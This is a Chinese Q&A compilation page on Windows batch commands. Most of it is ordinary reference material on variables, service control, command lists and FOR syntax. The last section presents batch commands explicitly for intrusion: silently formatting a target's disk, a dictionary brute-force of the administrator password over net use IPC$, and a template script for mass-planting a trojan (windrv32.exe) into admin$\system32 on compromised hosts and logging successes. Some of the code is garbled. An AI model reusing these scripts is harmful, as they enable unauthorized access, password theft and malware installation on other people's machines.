導航:首頁 > 程序命令 > bat批接命令

bat批接命令

發布時間:2022-08-29 18:01:22

㈠ BAT批處理後台運行的命令是什麼

你好,可以用VBS命令來實現
新建一個TXT文件,然後輸入以下命令,保存為*.vbs(*可以為任意名稱)後可以添加到開機啟動程序里
如:
createobject("wscript.shell").run "C:\1.bat",0

C:\1.bat為你的盤符和BAT文件

㈡ 關於bat批處理命令

set"whitevariable=%~1"獲取腳本得到的值,然後賦予到whitevariable變數上
echo%whitevariable%顯示whitevariable變數的值
setwhitelist=%whitevariable%把whitevariable變數賦予到whitelist變數上
setstr=%whitelist:D:Solution=%把變數whitelist的值中含有D:Solution的字元刪除,並把新的變數值賦予到str變數上
setstr=%str:.=_%把變數str的值中含有.的字元替換為_,並把新的變數值重新賦予到str變數上
setstr=%str:=_%把變數str的值中含有的字元替換為_,並把新的變數值重新賦予到str變數上
setip_str=%local_ip:.=_%把變數local_ip的值中含有.的字元替換為_,並把新的變數值賦予到ip_str變數上
setip_str=%ip_str:=%把變數ip_str的值中含有(空格)的字元刪除,並把新的變數值重新賦予到ip_str變數上
setsunday_full_backup=SLD_%lastsunday%_%str%_%ip_str%把%lastsunday%%str%%ip_str%等這些變數組合成新的值賦予到變數上
settoday_back_up=SLD_%today%_%str%_%ip_str%這個我就不解釋了
set"code=ABCDEFGHIJKLNMOPQRSTUVWXYZ"設置code變數
for%%iin(%code%)docall,set"today_back_up=%%today_back_up:%%i=%%i%%"從code變數中獲取單個字母然後重新替換相關變數,其實跟前面的那種一樣
for%%jin(%code%)docall,set"sunday_full_backup=%%sunday_full_backup:%%j=%%j%%"以下幾個你應該也能理解了,我就不解釋了。
setsunday_full_backup=%sunday_full_backup%.zip
settoday_back_up=%today_back_up%.zip

㈢ bat批處理命令大全

我有一個txt格式的文檔,但是字數太多粘貼不上來(超過10000字)你可以加我,我傳給你
目錄:第一章 批處理基礎 第一節 常用批處理內部命令簡介 1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系統設備 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 與 變數延遲 17、ATTRIB 顯示或更改文件屬性 第二節 常用特殊符號 1、@ 命令行回顯屏蔽符 2、% 批處理變數引導符 3、> 重定向符 4、>> 重定向符 5、<、>&、<& 重定向符 6、| 命令管道符 7、^ 轉義字元 8、& 組合命令 9、&& 組合命令 10、|| 組合命令 11、"" 字元串界定符 12、, 逗號 13、; 分號 14、() 括弧 15、! 感嘆號 第二章 FOR命令詳解 一、基本格式 二、參數 /d 三、參數 /R 四、參數 /L 五、參數 /F 第三章 FOR命令中的變數 一、 ~I - 刪除任何引號("),擴展 %I 二、 %~fI - 將 %I 擴展到一個完全合格的路徑名 三、 %~dI - 僅將 %I 擴展到一個驅動器號 四、 %~pI - 僅將 %I 擴展到一個路徑 五、 %~nI - 僅將 %I 擴展到一個文件名 六、 %~xI - 僅將 %I 擴展到一個文件擴展名 七、 %~sI - 擴展的路徑只含有短名 八、 %~aI - 將 %I 擴展到文件的文件屬性 九、 %~tI - 將 %I 擴展到文件的日期/時間 十、 %~zI - 將 %I 擴展到文件的大小 十一、 %~$PATH:I 第四章 批處理中的變數 一、系統變數 二、自定義變數 第五章 set命令詳解 一、用set命令設置自定義變數 二、用set命令進行簡單計算 三、用set命令進行字元串處理 1、字元串替換 2、字元串截取 第六章 if命令講解 第一種用法:IF [NOT] ERRORLEVEL number command 第二種用法:IF [NOT] string1==string2 command 第三種用法:IF [NOT] EXIST filename command 第四種用法:IF增強的用法 第七章 DOS編程高級技巧 一、界面設計 二、if…else…條件語句 三、循環語句 四、子程序 五、用ftp命令實現自動下載 六、用7-ZIP實現命令行壓縮解壓功能 七、調用VBScript程序 八、將批處理轉化為可執行文件 九、時間延遲 1、利用ping命令延時 2、利用for命令延時 3、利用vbs延遲函數,精確度毫秒,誤差1000毫秒內 4、僅用批處理命令實現任意時間延遲,精確度10毫秒,誤差50毫秒內 十、模擬進度條 十一、特殊字元的輸入及應用 十二、隨機數(%random%)的應用技巧 十三、變數嵌套 與 命令嵌套 全文: http://xiangkg.blog.163.com 1、更正了所有的錯別字,適當排版,增加條理性。 2、運行改善所有例子,並糾正了一些語法錯誤。 3、補充了一些不完全的地方。 4、第一章參考了網上許多教程匯編而成。 5、20080229補充了變數延遲的問題。 6、20080305修改了參數usebackq的說明 7、20080310增加了特殊字元的輸入及應用 8、20080311修改了子程序部分 9、20080313修改了echo說明,歸納了9個應用方法 10、20080320增加任意時間延遲方法 11、20080321增加了set計算中十進制與八進制混淆問題的說明 12、20080325修正dos數值計算范圍:-2147483648 至2147483647,即-2^31~2^31-1 13、20080326增加隨機數的應用 14、20080327修改了「if增強用法」中的defined語句說明 15、20080402增加變數嵌套與命令嵌套,重要技巧之一。很高興為你回答。如果你覺得滿意的話請採納。謝謝!

㈣ 求BAT批處理命令

用net stop停止,net start開啟兩個命令或sc start ,sc stop即可
1,將vm服務設置為手動運行:
sc config VMAuthdService start= demand
sc config VMnetDHCP start= demand
sc config "VMware NAT Service" start= demand
sc config vmount2 start= demand

2.將vm網路服務開啟:
@echo off
net start VMAuthdService
net start VMnetDHCP
net start "VMware NAT Service"
net start vmount2

3.將vm網路服務關閉:
@echo off
net stop VMAuthdService
net stop VMnetDHCP
net stop "VMware NAT Service"
net stop vmount2

第一步只需要運行一次就可以了,後兩個保存成BAT,需要的時候運行
如果你還想將vmnet1和vmnet8兩個網卡也在不用的時候停掉,下面的命令:
啟用網卡
devcon.exe enable *vmnetadapter1
devcon.exe enable *vmnetadapter8
禁用網卡
devcon.exe disable *vmnetadapter1
devcon.exe disable *vmnetadapter8
*vmnetadapter1是vmnet1網卡的ID
如果這兩句沒用的話,你打開設備管理器,查看虛擬網卡的ID然後替換 掉即可

㈤ bat文件命令大全

有關某個命令的詳細信息,請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改啟動時間磁碟檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制台前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮。
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件復制到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容復制到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息,或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件,並顯示
不同處。
FIND 在文件中搜索文字字元串。
FINDSTR 在文件中搜索字元串。
FOR 為一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁碟,以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啟用 Windows 來以圖像模式顯示
擴展字元集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁碟的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 列印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄,然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁碟恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的注釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變數。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啟動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁碟。
VOL 顯示磁碟卷標和序列號。
XCOPY 復制文件和目錄樹。
appwiz.cpl------------添加刪除程序

control userpasswords2--------用戶帳戶設置

cleanmgr-------垃圾整理

CMD--------------命令提示符可以當作是 Windows 的一個附件,Ping,Convert 這些不能在圖形環境下 使用的功能要藉助它來完成。

cmd------jview察看Java虛擬機版本。

command.com------調用的則是系統內置的 NTVDM,一個 DOS虛擬機。它完全是一個類似 Virtual PC 的 虛擬環境,和系統本身聯系不大。當我們在命令提示符下運行 DOS 程序時,實際上也 是自動轉移到 NTVDM虛擬機下,和 CMD 本身沒什麼關系。

calc-----------啟動計算器

chkdsk.exe-----Chkdsk磁碟檢查

compmgmt.msc---計算機管理

conf-----------啟動 netmeeting

control userpasswords2-----User Account 許可權設置

devmgmt.msc--- 設備管理器

diskmgmt.msc---磁碟管理實用程序

dfrg.msc-------磁碟碎片整理程序

drwtsn32------ 系統醫生

dvdplay--------啟動Media Player

dxdiag-----------DirectX Diagnostic Tool

gpedit.msc-------組策略編輯器

gpupdate /target:computer /force 強制刷新組策略

eventvwr.exe-----事件查看器

explorer-------打開資源管理器

logoff---------注銷命令

lusrmgr.msc----本機用戶和組

msinfo32---------系統信息

msconfig---------系統配置實用程序

net start (servicename)----啟動該服務

net stop (servicename)-----停止該服務

notepad--------打開記事本

nusrmgr.cpl-------同control userpasswords,打開用戶帳戶控制面板

Nslookup-------IP地址偵測器

oobe/msoobe /a----檢查XP是否激活

perfmon.msc----計算機性能監測程序

progman--------程序管理器

regedit----------注冊表編輯器

regedt32-------注冊表編輯器

regsvr32 /u *.dll----停止dll文件運行

route print------查看路由表

rononce -p ----15秒關機

rsop.msc-------組策略結果集

rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----啟動一個空白的Windows 圖片和傳真查看器

secpol.msc--------本地安全策略

services.msc---本地服務設置

sfc /scannow-----啟動系統文件檢查器

sndrec32-------錄音機

taskmgr-----任務管理器(適用於2000/xp/2003)

tsshutdn-------60秒倒計時關機命令

winchat--------XP自帶區域網聊天

winmsd---------系統信息

winver-----顯示About Windows 窗口

wupdmgr-----------Windows Update

㈥ bat命令、全一點的、給加分

命令:CALL
功能:在批處理文件中調用批處理文件.
CALL [驅動器:][路徑]文件名 [批命令參數]
批命令參數 指定批處理文件所需的命令行參數.
命令:CD/CHDIR
功能:顯示或改變當前目錄.
CHDIR [驅動器:][路徑]
CHDIR[..]
CD [驅動器:][路徑]
CD[..]
.. 表示當前目錄改變成父目錄.
鍵入 CD [驅動器:], 可顯示指定驅動器的當前目錄.
鍵入不帶參數的 CD 可顯示當前驅動器和當前目錄.
命令:CLS
功能:清除屏幕。
CLS
命令:COPY
功能:文件拷貝.
COPY [/A | /B] source [/A | /B] [+ source [/A | /B] [+ ...]] [destination
[/A | /B]] [/V] [/Y | /-Y]
source 指定被拷貝的文件.
/A 表示 ASCII 正文文件.
/B 表示二進制文件.
destination 指定新文件的目錄和文件名.
/V 校驗新文件是否正確.
/Y 在重寫原有的目標文件之前, 不讓你確認.
/-Y 在重寫原有的目標文件之前, 讓你確認.
開關項 /Y 可由環境變數 COPYCMD 預設.
-Y 可以更改預設值.要合並多個文件時, 可指定單個目標文件, 但指定多個
源文件(使用通配符或 文件1+文件2+文件3 格式).
命令:DATE
功能:顯示或設置日期。
DATE [日期]
顯示當前日期設置和輸入新日期的提示,請鍵入
不帶參數的 DATE。要保留現有日期,請按 ENTER。
命令:DEL/ERASE
功能:刪除文件.
DEL [驅動器:][路徑]文件名 [/P]
ERASE [驅動器:][路徑]文件名 [/P]
[驅動器:][路徑]文件名 指定被刪除的文件, 用通配符指定多個文件.
/P 刪除每個文件之前顯示確認信息.
命令:DIR
功能:顯示目錄中的文件和子目錄列表。
DIR [驅動器:][路徑][文件名] [/P] [/W] [/A[[:]屬性]]
[/O[[:]排序方式]] [/S] [/B] [/L] [/V] [/4]
[驅動器:][路徑][文件名
指定列出的驅動器, 目錄或文件。
(可支持帶通配符的長文件名)
/P 顯示一屏信息後暫停。
/W 使用寬幅列表格式。
/A 顯示指定屬性的文件。
屬性 D 目錄 R 只讀文件
H 隱含文件 A 准備存檔的文件
S 系統文件 - 前綴, 表示"非"
/O 排序後列出文件。
排序方式 N 按文件名(字母順序) S 按大小(小文件在前)
E 按擴展名(字母順序) D 按日期和時間(先建立的在前)
G 先列出子目錄 - 前綴, 表示反序
A 按最後訪問日期排序(先訪問的在前)
/S 列出指定目錄及其所有子目錄的文件。
/B 使用空格式(沒有標題信息或摘要)。
/L 用小寫。
/V Verbose mode.
/4 用四位數字顯示年
開關可能已用 DIRCMD 環境變數預置.
用連字元(-)可更換預置的開關, 例如/-W.
命令:ECHO
功能:顯示信息, 打開或關閉命令的回顯.
ECHO [ON | OFF]
ECHO [信息]
鍵入不帶參數的 ECHO 可顯示 ECHO 的當前設置.
命令:EXIT
功能:退出COMMAND.COM命令解釋程序.
EXIT
命令:FOR
功能:對一系列文件中的每個文件執行指定的命令.
FOR %變數名 IN (文件集) DO 命令名 [命令行參數]
%變數名 指定可替換型參數.
(文件集) 指定包含一個或多個文件的文件集, 可使用通配符.
命令名 指定為每個文件執行的命令.
命令行參數
指定命令的參數或開關.
在批處理文件中使用 FOR 命令時, 用 %%變數名 替換 %變數名.
命令:GOTO
功能:在批處理程序中將 Windows 轉向到指定的行號.
GOTO 標號
標號 指定在批處理文件中用作標號的正文字元串.
標號獨佔一行, 以冒號打頭.
命令:IF
功能:批文件的條件語句.
IF [NOT] ERRORLEVEL 數值 命令名
IF [NOT] 字串1==字串2 命令名
IF [NOT] EXIST 文件名 命令名
NOT 指示 Windows 在條件不成立時才執行命令.
ERRORLEVEL 數值 如果上次程序返回的退出碼大於或等於指定的數值, 則條件成立.
命令名 指定條件滿足時應執行的命令.
字串1==字串2 如果正文字元串匹配, 則條件成立.
EXIST 文件名 如果指定的文件存在, 則條件成立.
命令:LH/LOADHIGH
功能:將程序裝入上端內存區.
LOADHIGH [驅動器:][路徑]程序名 [參數]
LOADHIGH [/L:區域1[,最小值1][;區域2[,最小值2]...] [/S]]
[驅動器:][路徑]程序名 [參數
/L:區域1[,最小值1][;區域2[,最小值2]]...
指定裝裁程序的內存區域, 指定第一個內存區號.
指定 的最小尺寸(若有).
和 指定第二個內存塊號和最小尺寸(若有).
內存區域的個數不限.
/S 裝入程序時, 將 UMB 收縮到最小尺寸.
[驅動器:][路徑]文件名
指定程序的名稱和位置.
命令:MD/MKDIR
功能:創建目錄.
MKDIR [驅動器:]目錄
MD [驅動器:]目錄
命令:PATH
功能:顯示或設置可執行文件的搜索路徑.
PATH [[驅動器:]路徑[....]]
PATH ;
鍵入 PATH ; 可清除所有的搜索路徑, 使 Windows 只搜索當前目錄
鍵入不帶參數的 PATH 可顯示當前路徑.
命令:PAUSE
功能:暫停批處理程序,並顯示以下消息:
請按任意鍵繼續. . .
PAUSE
命令:PROMPT
功能:更改命令提示符。
PROMPT [text]
text 指定新的命令提示符。
提示符可以由普通字元及下列特定代碼組成:
$Q = (等號)
$$ $ (貨幣符號)
$T 當前時間
$D 當前日期
$P 當前驅動器及路徑
$V Windows 版本號
$N 當前驅動器
$G > (大於符號)
$L < (小於符號)
$B | (管道)
$H 退格 (擦除前一個字元)
$E Escape 碼 (ASCII 碼 27)
$_ 回車換行
鍵入不帶參數的 PROMPT 可以將提示符改回默認設置。
命令:RD/RMDIR
功能:刪除目錄.
RMDIR [驅動器:]目錄
RD [驅動器:]目錄
命令:REM
功能:在批處理文件或 CONFIG.SYS 里加上註解或說明。
REM [註解]
命令:REN/RENAME
功能:重命名文件或目錄列表。
RENAME [驅動器:][路徑]文件名1 文件名2.
REN [驅動器:][路徑]文件名1 文件名2.
請注意,您不能為目標文件或目錄列表指定新的驅動器或路徑。
命令:SET
功能:顯示, 設置或刪除 Windows 環境變數.
SET [變數=[字元串]]
變數 指定環境變數名.
字元串 指定賦給環境變數的字元串.
鍵入不帶參數的 SET 可顯示當前的環境變數.
命令:TIME
功能:顯示或設置系統時間。
TIME [時間]
顯示當前時間設置和輸入新時間的提示,請鍵入
不帶參數的 TIME。要保留現有時間,請按 ENTER。
命令:TYPE
功能:顯示文本文件的內容。
TYPE [驅動器:][路徑]文件名
命令:VER
功能:顯示 Windows 版本.
VER
命令:VOL
功能:顯示磁碟的標簽號和存在的序列號.
secpol.msc本地安全策略
services.msc本地服務設置
sfc /scannow啟動系統文件檢查器
sndrec32錄音機
taskmgr任務管理器(適用於2000/xp/2003)
tsshutdn60秒倒計時關機命令
winchatXP自帶區域網聊天
winmsd系統信息
winver-顯示About Windows 窗口
wupdmgr--Windows Update

㈦ 編寫BAT批處理時如何連接兩個(或以上)的命令

根據的你描述,待執行的操作有3個,分別對應3條命令

  1. 刪除文件 D:1001.EXE —— DEL /F D:1001.exe

  2. 刪除文件夾 D:100 —— RDD:100

  3. 關機 —— shutdown /s /f /t 0


因為文件D:1001.exe是包含在文件夾D:100當中的,

且它是文件夾D:100當中的唯一的一個文件,所以直接用 我們要執行的操作就是:

刪除目錄D:100及其中所有文件後關機

@echo off

IF existD:1001.EXE (

RD /s /q "D:100" && shutdown /s /f /t 0

)


RD 命令

shutdown 命令

&& 符號


批處理實際上就是 預設的「命令」合集

可以根據不同條件執行不同命令,可以將多個命令進行連接(如上),又或者簡單的將每條命令直接寫下後以批處理形式保存,也都完全沒有任何問題。

㈧ bat批處理文件的相關命令

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。

語法

echo [{on off}] [message]

Sample:@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令

表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。

Sample:@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

3.Goto 命令

指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。

語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)

Sample:

if {%1}=={} goto noparms

if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令

注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。

Rem Message

Sample:@Rem Here is the description.

5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:

Press any key to continue . . .

Sample:

@echo off

:begin

a:*.* d:\back

echo Please put a new disk into driver A

pause

goto begin

在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

語法

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數

[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令

調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。

入侵常用參數:

MIN 開始時窗口最小化

SEPARATE 在分開的空間內開始 16 位 Windows 程序

HIGH 在 HIGH 優先順序類別開始應用程序

REALTIME 在 REALTIME 優先順序類別開始應用程序

WAIT 啟動應用程序並等候它結束

parameters 這些為傳送到命令/程序的參數

執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

Sample:

Sample.bat的內容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:

1、if "參數" == "字元串" 待執行的命令

參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)

如if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2、if exist 文件名 待執行的命令

如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數字 待執行的命令

如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令

for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。

在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable %%variable} in (set) do command [ CommandLineOptions]

%variable 指定一個單一字母可替換的參數。

(set) 指定一個或一組文件。可以使用通配符。

command 指定對每個文件執行的命令。

command-parameters 為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到

支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。

因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生

序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的

下一個文件之前,每份文件都已被打開、讀取並經過處理。

處理包括讀取文件,將其分成一行行的文字,然後將每行

解析成零或更多的符號。然後用已找到的符號字元串變數值

調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開

的第一個空白符號。跳過空白行。您可通過指定可選 "options"

參數替代默認解析操作。這個帶引號的字元串包括一個或多個

指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)

skip=n - 指在文件開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的

默認分隔符集。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代

的 for 本身。這會導致額外變數名稱的

格式為一個范圍。通過 nth 符號指定 m

符號字元串中的最後一個字元星號,

那麼額外的變數將在最後一個符號解析之

分配並接受行的保留文本。

usebackq - 指定新語法已在下類情況中使用:

在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 fi中使用雙引號擴起文件名稱。

sample1:

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過

tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 z 或Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。這樣,該字元串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列

選項語法:

~I - 刪除任何引號("),擴充 %I

%~fI - 將 %I 擴充到一個完全合格的路徑名

%~dI - 僅將 %I 擴充到一個驅動器號

%~pI - 僅將 %I 擴充到一個路徑

%~nI - 僅將 %I 擴充到一個文件名

%~xI - 僅將 %I 擴充到一個文件擴展名

%~sI - 擴充的路徑只含有短名

%~aI - 將 %I 擴充到文件的文件屬性

%~tI - 將 %I 擴充到文件的日期/時間

%~zI - 將 %I 擴充到文件的大小

%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義,或者沒有找到文件,此組合鍵會擴充空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑

%~nxI - 僅將 %I 擴充到一個文件名和擴展名

%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名

%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。

%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法

用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。

我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。

最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"

用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--

for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。

而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。

delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。

代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

@net use \\%1\ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@ windrv32.exe\\%1\admin$\system32 amp;amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

